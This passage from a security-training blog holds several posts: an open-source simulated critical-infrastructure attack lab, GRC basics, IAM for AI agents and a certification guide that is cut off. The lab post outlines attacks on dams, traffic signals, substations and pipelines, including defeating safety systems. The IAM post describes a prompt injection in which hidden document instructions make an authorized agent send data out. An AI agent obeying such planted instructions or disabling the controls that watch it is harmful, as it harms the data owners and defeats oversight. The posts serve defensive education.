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    17 NOV 26We Brought a City to Black Hat India. Then We Let People Break It. Image

    We Brought a City to Black Hat India. Then We Let People Break It.

    On October 29, 2026, the Arsenal floor at the Sheraton Grand Bengaluru was doing what Arsenal floors do: humming with demos, tangled with laptop chargers, loud in the good way. In the middle of it, we had a dam quietly filling up, a traffic intersection cycling through its greens, a power substation holding 190 megawatts steady, a gas pipeline sitting at nominal pressure, and a wastewater pump doing its unglamorous job.And all of it real enough to break. That is CyberCity, and Black Hat India 2026 Arsenal Lab is where we got to put it in front of people and say the thing we had been wanting to say for months: go ahead, attack it.Why we built CyberCityStart with what makes OT security fundamentally different from traditional IT security. When IT gets breached, you lose data, money, or uptime, and those are painful, but they are recoverable. OT is not about data; it is about physical things moving in the real world. Water behind a dam, voltage on a line, pressure in a gas pipeline. When OT fails, the consequences are physical too: a flood, a blackout, a ruptured pipeline, a sewage spill, and sometimes people get hurt. That is the weight OT security carries, and it is exactly the thing that is almost impossible to feel from a slide or a textbook.If you have ever tried to learn ICS/OT security seriously, you have hit the same wall we did. The real hardware is expensive, it is restricted, and it is genuinely dangerous to practice on. Nobody is going to hand a student a live programmable logic controller (PLC) that controls an actual dam gate and say “have fun.” So most people learn the theory, look at some packet captures, read the incident write-ups, and never get to feel the consequence of a bad network action landing on a real process.That gap matters more every year. The global ICS security market is projected to reach $41.82 billion by 2033, and the demand for people who can actually do this work already outpaces the supply. Critical infrastructure is under rising pressure: dams, water treatment plants, power grids, pipelines, sewage systems. The attacks are documented. The defenders are scarce. And the safest, most reproducible way to build that skill barely exists.So we built one. CyberCity is a hands-on platform where you safely attack simulated critical infrastructure, watch it react in real time, and reset it in one click to try again.What makes it feel realA lab only teaches while it feels real; the moment it stops feeling real, the lesson goes with it. We made that our guiding principle early on: CyberCity would be real all the way down. And the part that brings it to life is the visualization. Every facility is drawn out on screen in real time, water climbing behind a dam, traffic lights cycling at an intersection, pressure building in a pipeline, so you do not just read that an attack worked, you watch it unfold.Each facility also has its own Control Room, the same human-machine interface (HMI) dashboard a real operator would sit in front of all day, with live gauges, trend charts, alarm panels, and the pump and valve controls they would actually use. You get to see the facility from the operator’s chair, exactly as the people running it would, which is what makes watching an attack play out on that same screen hit so hard. Everything on it is the honest, live consequence of something actually happening underneath.Two decisions carry the whole thing.First, real protocols, not mocked APIs. Every facility speaks the actual industrial protocol it would speak in the field, on realistic ports. That means the tools you use against CyberCity are the exact tools you would use against a real plant. Nothing custom, nothing proprietary to the lab. What you learn here transfers directly.Second, a live physics engine drives every consequence. The dam is not a number that goes up when you click a button. It is inflow versus outflow versus gate position versus head pressure, recalculated continuously. Close the sluice gate and the water genuinely rises until the spillway kicks in. The pipeline accumulates structural fatigue under sustained overpressure until the segment ruptures. The failure happens because the physics say it should.Five facilities, five real incidentsThe part that consistently stopped people at our table was this: every scenario mirrors a documented, real-world attack. You are not practicing on invented threats. You are re-walking history.HydraGuard, the dam and water treatment plant. Modbus/TCP with zero authentication. Enumerate the registers, sniff the cleartext traffic, then close the gate to overflow the reservoir or spike the chlorine dosing to toxic levels. It echoes the Bowman Avenue Dam intrusion and the Oldsmar water-treatment incident, where an attacker tried to poison a city’s water supply.MetroGrid, the four-way traffic intersection. SNMP with default community strings, the same weakness a 2014 University of Michigan study found across a real-world deployment of around a hundred intersections. Rewrite the signal timing, abuse emergency vehicle preemption, and then disable the conflict monitor so you can force opposing greens at once. That last move, defeating the independent safety system, is the pattern behind TRISIS.Copperline Substation, 230/115kV. IEC 60870-5-104, one of the protocols Industroyer was built to speak. Trip breakers, disable the protection relays, and cascade a transformer overload into a full blackout, then kill the auto-recloser so the operators cannot simply reconnect. This is the Ukraine 2016 playbook, step for step.Redwater Compressor Station, a gas pipeline. Modbus/TCP again, but this one has defense in depth: an electronic emergency shutdown system and an independent mechanical relief valve. Overspeed the compressor and the safety system trips it, which is the lesson. To actually cause damage you have to defeat both layers first, then inject false telemetry so the operator never sees it coming. That is the combined logic of TRISIS and PIPEDREAM, with a dash of Stuxnet-style deception.Cedar Creek Lift Station 7, wastewater. This is pure denial of control: flood the cheap serial gateway until the station PLC goes blind, the pump loses its command, and the wet well overflows into a raw sewage spill while the operator’s HMI sits frozen. It is the Maroochy Shire sewage attack of 2000, the case that taught the world an insider with a radio could dump sewage into parks and rivers.The Arsenal responseHere is what we learned standing at that table: the demo that lands is the one where someone else’s hands are on the keyboard.The loop is simple. Pick a facility. Find the weakness. Exploit it. Watch it break on screen in real time. Reset and try the next one. We would get someone to run a single continuous Modbus poll against the dam PLC, watch nine registers stream back in plaintext with no authentication whatsoever, and you could see the moment it clicked, this is not a diagram, this is the device talking. Then they would run the attack, close the dam’s sluice gate with a single Modbus write, and watch the water actually start to rise.The response was phenomenal. It was a thrill to see that much curiosity and engagement up close. Visitors came back with friends. Engineers from Schneider Electric stopped by, got hands-on with it, and found it very interesting. Schneider Electric is a world leader in manufacturing PLCs. They own the Modicon brand, which developed the world’s very first commercially successful PLC, the Modicon 084, back in 1968. We also had people from government bodies working in this space stop by, wanting to understand better how attacks like these actually work.One day, five facilities, one city that let everyone who walked up take control of it. We could not have asked for a better room to do it in.Try it yourselfCyberCity is open source. It runs entirely in Docker with no physical hardware required, and you can spin up the whole city and start attacking it in minutes.github.com/ine-labs/cybercityIf you break something in a way we did not expect, that is kind of the point. Tell us about it.A glimpse A few moments from the Arsenal floor at Black Hat India 2026.

    12 NOV 26GRC for Cybersecurity Practitioners: How Risk, Controls, and Evidence Fit Together Image

    GRC for Cybersecurity Practitioners: How Risk, Controls, and Evidence Fit Together

    Enterprise cybersecurity rarely fails because a practitioner cannot spot a technical issue. More often, the gap appears after the issue is found: the organization still has to decide how much it matters, who owns the response, and whether the action taken actually reduces risk.That gap is easy to underestimate because technical completion and organizational assurance are not the same thing. A team can close a remediation ticket and still discover later that the underlying control behaves differently across business units or cannot be substantiated during an audit. The issue is not the quality of the fix; it's the absence of a clear line from technical action to risk ownership and evidence. Without that line, competent security work can still leave the organization unable to defend the decision it made.For enterprise teams, that’s the practical role of GRC. Governance, risk, and compliance provide the context that turns technical activity into an operating security program. Risk explains why a condition matters to the business. Controls define how the organization intends to manage that exposure. Evidence helps demonstrate whether those controls are operating as intended.Practitioners do not need to leave the technical side of cybersecurity to work this way. They need to understand how their findings, configurations, logs, and remediation decisions fit into the larger chain of accountability. That is what allows security teams not only to fix problems, but to explain, credibly and consistently, why the business is safer afterward.What GRC Means for a Technical Security TeamGovernance, risk, and compliance are often discussed as separate disciplines, but for practitioners, those disciplines converge in day-to-day security decisions.Governance establishes who can make cybersecurity decisions, what the organization expects, and how cybersecurity supports business priorities. Risk management gives the organization a way to evaluate uncertainty and decide where limited time, money, and engineering effort should go. Compliance evaluates whether the organization meets applicable internal requirements, contractual obligations, standards, laws, and regulations.For a practitioner, the value is in the connection between these GRC principals and the technical work they do every day.A security engineer may know that a vulnerable service should be patched. A GRC-informed engineer also understands why the affected system matters, which control the patch supports, what evidence will show that remediation occurred, and whether meaningful exposure remains afterward. The technical action is the same, but the decision around it becomes much stronger.NIST made that connection more explicit in Cybersecurity Framework 2.0 by adding Govern as a core function alongside Identify, Protect, Detect, Respond, and Recover. That change matters in enterprise environments because governance, risk decisions, and technical execution have to inform one another.For B2B security teams, that connection matters because more stakeholders now scrutinize cybersecurity work. Security leaders answer to boards. Customers and procurement teams ask for assurance. Regulators and auditors expect documented controls and evidence. Technical teams are often the ones producing the facts behind those answers.  Ultimately, this is a positive thing as cybersecurity is getting the visibility that it has long needed, but along with this comes the added scrutiny and requirements for justification. Risk Gives Technical Findings Business MeaningOne of the most important shifts for a practitioner is learning to distinguish a technical condition from a risk.Suppose an administrator discovers several dormant privileged accounts on a production server. The finding is straightforward: accounts with elevated permissions are still active even though they are no longer needed.A technical team can disable the accounts, but an enterprise security program also needs to understand why the condition mattered in the first place.The risk is not “unused accounts exist.” It’s that an attacker could obtain access to one of those accounts, gain elevated privileges on a critical system, and cause data exposure, service disruption, or further compromise.That distinction changes how the organization responds. If the server supports a low-value internal test environment, the exposure may be limited. If the same condition exists on a production system that processes customer data or supports a regulated business process, the business consequence is much larger.This is why vulnerability severity alone is not enough to drive enterprise risk decisions. A technical score can help prioritize attention, but it does not know the business context of the asset, the threat environment, the effectiveness of existing safeguards, or the cost of failure.Practitioners add value when they can explain that context. They do not need to become risk actuaries, but they do need to translate what they see in systems into a scenario a risk owner can evaluate.Controls Turn Risk Decisions Into Operating ExpectationsOnce an organization understands the risk, it has to decide what it will do about it. Security controls turn that decision into something operational.In the privileged-access example, the organization may require administrative access to follow least-privilege principles, use multifactor authentication, undergo periodic review, and be removed promptly when a user changes roles or leaves the company.A policy might require quarterly privileged-access reviews. An identity platform may enforce permissions. A service desk workflow may govern approvals. An IAM team may remove access when HR records a termination. The important point is not the number of safeguards; it's whether they work together to reduce the risk.On paper, those pieces can support the same control objective. In production, they may span different systems, owners, and processes. That’s where practitioners become essential.Frameworks and control catalogs can describe the outcome an organization wants, but they do not configure the environment. They do not decide whether a specific service account should be exempted, whether a proposed cloud role is too broad, or whether a manual review catches local administrator accounts.The technical implementation determines whether the control operates as intended and is why organizations sometimes appear stronger in policy documents than they are in practice: a control can exist in governance language while failing where people, systems, and workflows meet.Evidence Is What Makes a Security Claim DefensibleEnterprise security programs are full of reassuring statements: privileged access is reviewed regularly; terminated users lose access promptly; critical systems require MFA; exceptions are documented.GRC asks a more demanding question: how does the organization know?Evidence turns a security claim into a verifiable fact.For a quarterly privileged-access review, the policy itself is not evidence that the review happened. A stronger record would show who had privileged access, who performed the review, which accounts were approved or removed, what exceptions were identified, and whether remediation followed.The strongest evidence often comes from the systems practitioners manage. Identity records, access-review exports, configuration data, ticket histories, logs, approval records, and test results can demonstrate how a control operated at a particular point in time.That does not make every screenshot or exported report useful. Evidence has to answer the control question. A screenshot with no date, system context, scope, or connection to the requirement may prove little. A repeatable system-generated report is often stronger because it shows where the data came from and what population it covers.This is why technical teams play such a central role in audit readiness. The GRC team may coordinate the request, but practitioners often know which system contains the authoritative data, whether the output is complete, and what an apparent exception actually means. Good evidence is part of how a mature security organization demonstrates that its controls work.Control Testing Separates Design From RealityEvidence becomes valuable when the organization evaluates it.A control can be well designed and still fail in practice. A quarterly review may occur on schedule but omit service accounts. Offboarding may remove access from Active Directory while leaving a cloud entitlement untouched. MFA may be enforced for ordinary administrators but bypassed by an emergency account that no one has reviewed in months.These are not merely audit issues. They are security issues that become visible through control testing.Testing asks whether the control was implemented, whether it operated during the period under review, whether it covered the right systems and users, and whether exceptions were handled appropriately. More importantly, it asks whether the control is actually reducing the risk it was designed to address.That matters because compliance and security are not interchangeable.An organization can prove that a review occurred and still have a weak access-control process. It can satisfy the wording of a requirement while leaving meaningful exposure in the environment. A mature program does not stop at “the control passed.” Instead, it asks whether the remaining risk is acceptable.That remaining exposure is residual risk, and the appropriate risk owner decides what to do with it. The organization may accept it, invest in additional safeguards, change the underlying process, transfer some exposure, or avoid the activity.The practitioner’s role is not to make every business decision, but to give decision-makers an accurate technical picture of what the control does, where it falls short, and what exposure remains.Why This Matters More in Enterprise CybersecurityFor years, many practitioners could build successful careers by going deeper into a technical specialty without spending much time on governance or risk. While technical specialization remains valuable, understanding how technical work connects to business risk, organizational accountability, and compliance is becoming increasingly important.Modern security programs operate across cloud infrastructure, SaaS platforms, third-party services, identity systems, software pipelines, endpoints, networks, and increasingly AI-enabled systems. Controls rarely live in one place, and evidence rarely comes from one team.That complexity raises the value of practitioners who can work across technical and business boundaries.An IAM engineer who understands the intent behind an access-control requirement can design a stronger lifecycle process. A SOC analyst who preserves defensible evidence creates better incident records. The same is true for technical leaders. As practitioners move into architecture, consulting, management, or security strategy, they have to explain not only what the technology does, but why the organization should care and what decision should follow.That is the value of GRC literacy. It gives technical professionals a common language for connecting implementation to organizational outcomes.The point is not that every practitioner should move into a GRC role. It's that technical professionals increasingly need to understand how their work fits into the organization’s risk model.From Technical Activity to Defensible Security DecisionsThe strongest security programs do more than deploy tools, remediate findings, and pass audits. They can explain why a problem matters, what they are doing about it, how they know the response is working, and what risk remains.For practitioners, GRC provides the bridge between technical depth and organizational context. It turns a configuration change into a control activity, a log into evidence, a technical exception into a risk discussion, and a remediation task into a decision the organization can defend.GRC should not be treated as the part of cybersecurity that begins when the audit team arrives. It's part of the operating discipline that helps enterprise security teams decide where to act, prove what they have done, and understand whether the business is actually safer as a result.For practitioners who want to build that connection between technical execution and defensible risk decisions, INE’s Enterprise Defense Administrator (eEDA) certification includes GRC within a broader defensive-security skill set. Our upcoming Certified Risk Analyst (eCRA) will go deeper into the risk, control, evidence, and audit-readiness work discussed here.FAQWhat is GRC in cybersecurity?GRC stands for governance, risk, and compliance. In cybersecurity, it connects technical security work to business accountability by helping organizations define expectations, evaluate risk, demonstrate that controls are working, and make defensible decisions about remaining exposure.Why should technical cybersecurity practitioners understand GRC?Because technical work increasingly feeds enterprise risk decisions. Practitioners who understand how findings, controls, evidence, and residual risk relate can explain technical issues more clearly to security leaders, auditors, customers, and other business stakeholders.What is the difference between a security control and control evidence?A security control is the safeguard or process intended to reduce risk. Control evidence is the information that demonstrates whether that safeguard was implemented and operated as expected during the period being assessed.Does passing an audit mean an organization is secure?No. An audit can provide assurance that defined requirements were met within the scope and period assessed, but it does not prove that all meaningful risk has been eliminated. Mature security programs use compliance results alongside technical testing and risk analysis to understand whether controls are actually reducing exposure.

    10 NOV 26AI Agents Need Identities Too: The New IAM Risks Security Teams Need to Manage Image

    AI Agents Need Identities Too: The New IAM Risks Security Teams Need to Manage

    We’ve spent years moving security decisions away from network location and toward identity. AI agents make that identity problem harder because the software is no longer simply waiting for a user to click a button.An agent may search internal data, call APIs, write code, interact with SaaS applications, trigger workflows, and make changes without a person approving every individual action. From an IAM perspective, that makes the agent more than another application. It becomes another actor in the environment.Once software can act, familiar identity questions become urgent. Who is making this request? What authority does it have? Where did that authority come from? How long should it keep that access? Who is responsible for it? And if something goes wrong, can we reconstruct what happened?In my recent discussion of IAM as a core cybersecurity skill, I described identity as the connective tissue between security, cloud, networking, applications, and incident response. Agentic AI adds another kind of identity to that environment.The First Risk Is Letting the Agent Become the UserThe fastest way to make an agent useful is often to let it operate with a user’s existing credentials or permissions.That’s also where I would start asking questions.An employee may legitimately have access to customer records, financial systems, source code, messaging tools, and cloud resources because that person performs several responsibilities throughout the day. An AI agent completing one task probably does not need all of them.NIST has specifically highlighted credential sharing between people and agents as an identity problem because it weakens accountability. If the same identity represents both the employee and the software acting for that employee, it becomes much harder to determine which one actually performed an action.My preference is straightforward: give the agent an identity that is distinguishable from the person it represents and delegate only the authority it needs.But we also have to be realistic about how these systems will be deployed. Users will connect agents to accounts they already have. Developers will take shortcuts. Some applications will not support a clean agent identity model yet. That makes least privilege even more important.Least privilege is not a substitute for giving the agent its own identity. I would not want an organization to interpret it that way. But if an agent is allowed to operate through a human identity, intentionally or otherwise, the amount of access attached to that identity determines how serious the mistake can become.A user with tightly scoped access gives an agent a much smaller blast radius than a user carrying permissions accumulated over ten years of role changes.Agents need separate identities where the architecture supports them. Human identities still need least privilege whether agents are involved or not. Agentic systems simply make the consequences of getting either one wrong much easier to see.Agent Permissions Can Outlive the Task That Required ThemIAM teams already understand privilege creep. A person changes roles but keeps old group membership. A service account remains active after the application disappears. Temporary access quietly becomes permanent. An agent can accumulate the same leftover access, potentially much faster.Maybe an agent receives access to a repository for one project. Maybe it is allowed to call an administrative API during a particular workflow. Maybe it is granted access to sensitive data for one analysis.What happens when that work is finished?If nobody removes the authority, the organization has created another standing identity with permissions that may no longer have a business purpose.Now repeat that across dozens or hundreds of agents.This is why I think the IAM lifecycle has to extend beyond employees and traditional service accounts. Security teams need to know when an agent was created, who owns it, what it is supposed to do, what access it currently holds, and when that access should disappear. The technology is new, but orphaned identities are not.Access Control Has Always Included What You Can DoOne thing agents do not change is the definition of access control. Access control has never been only about whether an identity can reach a system. It also determines what that identity is authorized to do once it gets there.If I can view payroll data, that does not mean I should be able to change payroll records. If a service account needs to read from a database, that does not mean it should have administrative authority over the database.The same applies to agents. What is different is that we now have to apply those controls to software that may choose its own next action.An IT support agent might need to read device inventory, check account status, search documentation, and create a ticket. None of that means it should be able to create administrators, disable security controls, erase logs, or modify production systems.I would look at agent access in terms of a few fairly ordinary IAM questions:What resources can it reach?What actions can it perform against those resources?How long does it need that authority?Which actions are important enough that another approval should be required?There is nothing especially exotic about those questions, the harder part is applying them consistently to an actor that can work at machine speed and may make decisions without a human choosing each individual action. To be fair, many organizations already struggle to implement access control properly for people. Agents do not invent that problem, they magnify it.The Trust Chain Is Getting LongerAn agent rarely works alone. It may interact with a model, query a database, call an API, invoke a tool, hand work to another agent, and then send the result into a system that performs the final action.From an identity perspective, I care about the whole chain.Which user or system initiated the task? Which agent received the authority? Did that agent delegate work to another agent? Which tool did it call? Which credential or token did the tool use? Which system ultimately accepted the request?If I can only see the last identity in that chain, I may know that something was authenticated without knowing whether the resulting action was actually authorized in the way I intended. That is where agent identity gets more complicated than a new service account.The challenge is not just identifying the agent. It is preserving enough information about delegated authority that the organization can still explain why an action was allowed several steps later.The IAM Industry Is Starting to Treat Agents as IdentitiesThe encouraging part is that the IAM industry is no longer treating agent identity as a theoretical problem.Microsoft Entra Agent ID is now generally available and gives organizations a way to manage agents as distinct identities, including ownership, lifecycle, permissions, governance, and agent-aware access controls. Microsoft’s guidance also makes the separation between the person and the agent explicit: an agent should not simply inherit everything its human sponsor can do.Okta is approaching the problem somewhat differently. Its Agent SSO work places the identity provider in the middle of agent-to-application access so enterprise policy can determine which applications an agent is allowed to use on behalf of a person.Auth0 is also implementing the emerging Cross App Access model, although parts of its implementation were still in early access during 2026.I would not read too much into which vendor currently has the longest feature list. The more important point is that agent identity is becoming a normal IAM architecture problem.That’s a meaningful shift. A year or two ago, many agent security discussions started with the model. IAM platforms are now starting with the identity.The Standards Are Moving, but Delegation Is Still MessyThere is also some convergence in how agent-to-application access might work.Cross App Access is one of the more interesting developments. Instead of every agent maintaining long-lived API credentials or asking users to approve every connection independently, the enterprise identity provider can participate in the decision about which applications the agent is allowed to access.The Identity Assertion JWT Authorization Grant, or ID-JAG, is part of the IETF work behind that approach.For a relatively simple scenario—one agent acting for one user against a known application—that model makes sense.The harder question is what happens when one agent hands work to another. That’s where I think the current standards still have a lot of work to do.Existing token exchange can record information about prior actors, but recording the chain is not the same thing as restricting what every actor in the chain is allowed to do. If Agent A delegates to Agent B, and Agent B delegates to Agent C, I want more than a history of who touched the token. I want to know that each step received only the authority it actually needed.Some newer IETF proposals are trying to address that with attenuated delegation, where authority can become narrower as it moves downstream. That could mean limiting which tools an agent can call, what arguments it can pass, how long a token remains valid, or whether the agent can delegate again. Those proposals are still developing.So I would be careful about saying IAM has “solved” agent identity. We are getting better at the relatively simple case of one agent acting for one person against known applications. Autonomous agents, agent-to-agent chains, cross-organization delegation, and fine-grained tool permissions are much less settled. Security architecture needs to account for that gap.An Authorized Agent Can Still Do the Wrong ThingAuthentication and authorization do not guarantee good judgment. An agent can have a perfectly valid identity, exactly the permissions it was supposed to receive, and still be manipulated into doing something nobody intended.Prompt injection is the obvious example. Suppose an agent is authorized to read documents and send information to an external system. It encounters malicious instructions hidden inside one of those documents. The attacker may not need to steal a password or bypass authentication. The attacker only needs to influence how the agent uses access it already has.That changes the question I would ask. Instead of only asking whether the agent is authorized, ask:If this agent follows a bad instruction, how far can its legitimate permissions take it?That is where IAM controls start working together with AI security controls.Least privilege limits the amount of damage available to the agent. Short-lived access limits how long that authority exists. Human approval can interrupt higher-risk actions. Runtime controls can restrict tool use. Monitoring can flag behavior that no longer looks like the task the agent was originally assigned.Microsoft makes a similar point in its guidance on securing AI agents: the agent should not be able to disable the controls watching it. I think that distinction is important. The agent cannot be the final authority on whether the agent is behaving safely.Every Agent Needs an Owner, an Identity, and an Off SwitchBefore I allowed an agent to operate in production, I would want a security team to answer six questions:Who owns it?What identity does it use?What can it access?What can it do with that access?Which actions require additional approval?Can the organization quickly see its activity and revoke its access?If those answers are unclear, the organization has an identity governance problem before it has an AI problem. That’s why I don’t see AI security and identity security developing as separate disciplines.Practitioners still need to understand authentication, authorization, privileged access, service identities, federation, lifecycle management, monitoring, governance, and Zero Trust. Then they need to understand what happens when those controls are applied to software that can interpret context, choose tools, delegate work, and take action.That overlap is also why these skill areas belong together.INE’s Certified Identity & Access Management Associate (eIAMA) builds the vendor-neutral IAM foundation across authentication, federation, authorization, privileged access, service identities, lifecycle, monitoring, and governance.The AI Systems Security Specialist (eAIS) applies many of those same control ideas to AI systems, including prompt injection, tool misuse, secure design, and AI security testing.The technologies are different, but increasingly, the security problems are connected.The Actor Is New. The IAM Problem Is Familiar.As agents take on more meaningful work, identity management has to keep pace with what we allow them to do.I would start with an inventory. Know which agents exist. Give each one an owner and a purpose. Make its access visible. Scope that access to the work it needs to perform and remove it when the work changes or ends.Where the architecture allows it, give the agent its own identity.Where that is not yet happening, be even more disciplined about the privileges attached to the human or service identity the agent is using. That is not the end state I would recommend, but it is a practical way to reduce the consequences of a suboptimal design while organizations catch up.Higher-risk actions should receive stronger controls. Some may still need human approval. Enough telemetry should exist to reconstruct what happened after the fact. And when the agent no longer needs access, there should be a reliable way to take it away.None of that requires a completely new security philosophy. IAM has always been about deciding who or what deserves authority, under which conditions, and for how long. AI agents make that discipline harder to fake.FAQWhat is an AI agent identity?An AI agent identity is a distinct digital identity used to authenticate, authorize, monitor, and govern an AI agent as it accesses data, applications, APIs, tools, or other systems.Why shouldn't an AI agent simply use its user's credentials?A user's identity often carries more access than an agent needs for a particular task. Sharing that identity also makes it harder to determine whether an action came from the person or from the agent. A distinct identity makes least privilege, auditing, lifecycle management, and revocation easier to enforce.Does least privilege replace the need for a separate agent identity?No. They address different problems. I would still prefer the agent to have its own identity. Least privilege limits the impact when an agent is over-permissioned, manipulated, or allowed to operate through another identity.How does IAM change for AI agents?The fundamental IAM principles do not change. Organizations still need authentication, authorization, ownership, lifecycle management, monitoring, and revocation. The difference is that those controls now need to work for autonomous or semi-autonomous software actors that may choose and execute actions without a human approving each one.What is delegated authority for an AI agent?Delegated authority is permission given to an agent to perform specific actions on behalf of a person, application, or another agent. Good delegation should preserve accountability and limit the agent to the resources, actions, duration, and conditions required for the task.Are there standards for AI agent identity?Existing identity standards such as OAuth provide much of the foundation. Newer work around Cross App Access and ID-JAG is addressing agent-to-application access, while multi-agent delegation and tighter control over authority passed between agents are still developing.How does Zero Trust apply to AI agents?The same way it applies elsewhere: verify identity and context, grant only the authority required, assume the actor can still be compromised or manipulated, monitor its activity, and keep critical controls outside the actor's control.

    06 NOV 26INE and Red Nexus Academy Sign Long-Term Partnership Agreement to Expand Cybersecurity Training in Egypt Image

    INE and Red Nexus Academy Sign Long-Term Partnership Agreement to Expand Cybersecurity Training in Egypt

    Expanded agreement strengthens access to hands-on, Arabic-language cybersecurity education for professionals across Egypt and the broader Arab regionCARY, N.C., November 6, 2026 — INE, a global provider of hands-on technical training and certifications, and Red Nexus Academy, an Egypt-based cybersecurity academy specializing in offensive security, today announced a long-term partnership agreement that expands the organizations’ existing relationship and their commitment to cybersecurity workforce development in Egypt and the broader Arab region.The agreement combines INE’s hands-on cybersecurity training, practical labs, learning paths, and certification programs with Red Nexus Academy’s regional expertise and Arabic-language instruction. Together, the organizations aim to give cybersecurity professionals a stronger pathway from foundational knowledge to advanced, job-relevant technical skills.INE and Red Nexus Academy began working together as part of INE’s broader expansion across the Middle East and North Africa. The new long-term agreement deepens that collaboration and establishes a sustained framework for delivering practical cybersecurity education to learners and organizations in the region.“Cybersecurity skills are built through practice, and expanding access to that kind of hands-on experience requires strong partners who understand the communities they serve,” said Lindsey Rinehart, CEO of INE. “Red Nexus Academy brings deep knowledge of the cybersecurity community in Egypt and the Arab region, while INE brings the technical depth, labs, and structured learning needed to build real-world capability. This long-term agreement gives us the opportunity to create lasting impact together.”Red Nexus Academy provides Arabic-language cybersecurity education focused heavily on offensive security and penetration testing, helping learners build practical skills through structured, practitioner-led training.“At Red Nexus Academy, our mission has always been to put world-class offensive security training in the hands of the Arab and Gulf community, in their own language. Partnering with INE pairs that mission with one of the most respected names in hands-on cybersecurity education. Together, we are closing the gap between where our learners start and the global standard they deserve to reach,” said Hossam Shady, Founder of Red Nexus Academy.The partnership reflects increasing demand across the region for cybersecurity professionals who can demonstrate technical capability beyond theoretical knowledge. INE’s learning model combines expert instruction with immersive lab environments that allow practitioners to practice cybersecurity workflows, solve technical problems, and develop skills in environments designed to reflect real-world scenarios.Red Nexus Academy adds the local context necessary to make that training accessible and relevant for Arabic-speaking learners, connecting globally applicable technical skills with the language and career pathways of the regional cybersecurity community.Professionals and organizations can learn more about INE’s cybersecurity training and certifications and enterprise training solutions. Information about Red Nexus Academy’s Arabic-language cybersecurity programs is available at Red Nexus Academy.About INEINE is a global provider of online networking, cybersecurity, cloud, and IT training and certifications. Through hands-on labs, expert instruction, and enterprise-ready learning solutions, INE helps individuals and organizations develop the technical skills needed to secure increasingly complex digital environments. Serving enterprises, government agencies, and IT professionals worldwide, INE is committed to building workforce readiness through practical, real-world training. About Red Nexus AcademyRed Nexus Academy is an Egypt-based cybersecurity academy focused on making practical cybersecurity education accessible to the Arab community. The academy specializes in offensive security and penetration testing, delivering Arabic-language, practitioner-led training designed to help learners build real-world technical skills and advance their cybersecurity careers. 

    03 NOV 26Which Penetration Testing Certification Is Right for You? Image

    Which Penetration Testing Certification Is Right for You?

    Starting a career in penetration testing requires more than earning a recognizable certification. It requires building practical skills in the right order, applying them in realistic environments, and choosing certifications that match what you are ready to do next. That’s the real question behind the eJPT vs OSCP comparison: which certification best fits your current skills, career goals, and what you need to build next?eJPT vs OSCP: The Short AnswerFor someone new to hands-on penetration testing, eJPT is usually the more appropriate place to start. It is designed to validate foundational skills: assessing a target, enumerating hosts and services, identifying weaknesses, exploiting them safely, pivoting through a network, and applying a repeatable testing process.OSCP is aimed at a different stage. It expects stronger Linux, Windows, networking, and offensive security fundamentals and evaluates candidates in a demanding, proctored environment.That makes the eJPT vs OSCP decision less about which certification is "better" and more about what you are ready to prove today.Just as important, OSCP is not the automatic next certification after eJPT. INE’s Red Team certification pathway offers a practical, career-focused roadmap for aspiring penetration testers, combining industry-recognized credentials with hands-on labs and instruction from experienced security practitioners. It’s not the only path into penetration testing, but it gives you a structured way to build, apply, and validate the skills employers expect as they progress from foundational testing into deeper and more specialized areas. What Is the Junior Penetration Tester (eJPT)?The Junior Penetration Tester certification, or eJPT, is INE's entry-level practical certification for people building hands-on penetration testing skills.It’s designed around the work expected of a junior penetration tester rather than around memorizing security terminology. The current eJPT covers assessment methodologies, host and network auditing, host and network penetration testing, and web application penetration testing.That matters because early offensive security learning can become fragmented very quickly. You may know how to run Nmap, recognize a vulnerable service, use a password attack, or follow an exploitation walkthrough without yet knowing how those actions fit together during an actual assessment. The eJPT is intended to test that connection.At this level, you should be able to approach a target methodically, gather useful information, choose an appropriate next step, validate a weakness, and keep working when the obvious path does not immediately produce an answer.For the full certification objectives and current exam information, visit the INE eJPT certification page.Who Is eJPT Best For?eJPT is best if you have some basic technical knowledge but are still developing confidence performing a penetration test without step-by-step instructions.That can include:IT professionals moving into cybersecuritySecurity analysts who want to explore offensive securityStudents and career changers building their first practical security skillsSelf-taught practitioners who understand individual tools but need a structured methodologyJunior security practitioners who want to validate hands-on skills before moving into more advanced testingA useful readiness question is simple: can you work through basic enumeration and exploitation without needing a walkthrough at every decision point?If the answer is "not yet," eJPT is likely closer to the right level than OSCP.Who Is eJPT Not For?eJPT is not designed to prove advanced penetration testing expertise, and it should not be treated as a guaranteed job credential. A certification can validate skills, but employers still evaluate technical depth, problem solving, reporting, communication, prior experience, and the ability to explain what happened during an assessment.eJPT is also not an OSCP preparation certificate. You may eventually pursue OSCP because a target employer asks for it or because its exam model matches the kind of challenge you want. You may alternatively get more value by moving into a deeper or more specialized INE certification first.What Skills Does eJPT Validate?At the eJPT level, the goal is not to master every branch of offensive security. It is to build a dependable foundation.You should come away more comfortable with the basic workflow of a penetration test:Understanding the target and the scope of the assessmentDiscovering hosts, services, and attack surfacesEnumerating systems methodically instead of relying on guessworkEvaluating vulnerabilities and choosing realistic attack pathsUsing exploitation techniques safelyPivoting when access to one system creates access to anotherTesting introductory web application weaknessesDocumenting what was found and why it mattersThat foundation is what makes later specialization productive. More advanced techniques are much easier to learn when you already have a process for deciding what to test, why to test it, and what to do with the result.eJPT vs OSCP: What Is the Difference?Both certifications are practical, but they are built for different readiness levels.eJPT is designed to help you build and validate a repeatable junior-level penetration testing methodology. The emphasis is on building and validating the fundamentals across networks, hosts, and introductory web testing.OSCP is designed for practitioners who already have stronger practical foundations and are prepared for a more intensive assessment experience involving enumeration, exploitation, privilege escalation, Active Directory, and reporting.A simpler way to compare them is to look at what each one asks you to prove:eJPT asks: Can you apply the fundamentals of a junior penetration test?OSCP asks: Can you perform under a more demanding professional-level assessment model with broader expectations and tighter constraints?If you’re still building confidence in enumeration, pivoting, basic exploitation, or deciding what to do next after the first scan, you’re unlikely to benefit from choosing a harder exam simply because it’s better known.Is OSCP the Next Certification After eJPT?Not necessarily. Treating OSCP as the automatic next step can push you toward a credential before you have decided what type of work you actually want to do. INE's Red Team certification path gives eJPT holders several ways to continue building skills.For broader penetration testing: Certified Professional Penetration Tester (eCPPT)If you want to continue developing skills across networks, infrastructure, Active Directory, exploitation, post-exploitation, and web testing, eCPPT is the direct next milestone after eJPT.It moves beyond junior-level methodology into a wider professional penetration testing skill set. INE suggests eCPPT for professionals with deeper offensive security experience, so completing eJPT does not mean you should immediately book the next exam. The training and lab work between the certifications matter. If your goal is to become a stronger all-around penetration tester, eCPPT is the most direct fit.For web application security: Web Application Penetration Tester (eWPT)If web applications are the part of eJPT that 